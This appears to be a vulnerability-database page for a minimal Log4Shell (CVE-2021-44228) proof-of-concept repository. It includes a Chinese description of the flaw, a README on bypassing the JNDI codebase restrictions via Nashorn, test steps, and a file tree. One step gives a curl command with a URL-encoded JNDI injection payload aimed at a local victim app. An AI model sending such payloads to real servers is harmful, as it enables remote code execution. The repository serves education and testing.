关联漏洞
标题:Apache Log4j 代码问题漏洞 (CVE-2021-44228)Description:Apache Log4j是美国阿帕奇（Apache）基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞，攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器，当该请求被打印成日志时就会触发远程代码执行。
Description
A bare minimum proof-of-concept for Log4j2 JNDI RCE vulnerability (CVE-2021-44228/Log4Shell).
介绍
# Log4j2 RCE Vulnerability POC
A bare minimum proof-of-concept for Log4j2 JNDI Remote-Code-Execution vulnerability ([CVE-2021-44228][]). This is
intended for educational purposes to help people who are not security researchers to understand how it works and how
large the impact is.
The POC bypasses the requirement for setting `com.sun.jndi.rmi.object.trustURLCodebase`
and `com.sun.jndi.cosnaming.object.trustURLCodebase` properties to `true`
which [were disabled by default since 8u121, 7u131, 6u141](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)
.
## Prerequisites
- JDK 1.8
Note: JDK 1.8 is required for `payload-server` to compile, but the `victim-app` is vulnerable up until JDK 15
because [the Nashorn engine was removed in JDK 15][].
## To Test
1. Start the `payload-server` by running:
```console
$ ./gradlew runPayloadServer
```
2. Open a new terminal session then start the `victim-app`:
```console
$ ./gradlew runVictimApp
```
3. Run `curl http://localhost:8080/hello?name=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A8099%2Fexec%7D` to trigger the RCE.
4. To proof the remote code has been executed, check the console log of `victim-app`. You should see an unintended log
has been printed on the screen.
[CVE-2021-44228]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228
[the Nashorn engine was removed in JDK 15]: https://openjdk.java.net/jeps/372
文件快照
[4.0K] /data/pocs/f33e0aa428d118881c9941f18741174838265130
├── [ 187] build.gradle.kts
├── [4.0K] gradle
│ └── [4.0K] wrapper
│ ├── [ 58K] gradle-wrapper.jar
│ └── [ 202] gradle-wrapper.properties
├── [ 27] gradle.properties
├── [7.9K] gradlew
├── [2.6K] gradlew.bat
├── [4.0K] payload-server
│ ├── [ 679] build.gradle.kts
│ └── [4.0K] src
│ └── [4.0K] main
│ └── [4.0K] kotlin
│ └── [1.0K] Main.kt
├── [1.4K] README.md
├── [ 89] request.http
├── [ 88] settings.gradle.kts
└── [4.0K] victim-app
├── [ 649] build.gradle.kts
└── [4.0K] src
└── [4.0K] main
└── [4.0K] java
└── [4.0K] com
└── [4.0K] example
└── [4.0K] log4j2
├── [ 579] HelloController.java
└── [ 596] VictimApplication.java
13 directories, 14 files
备注
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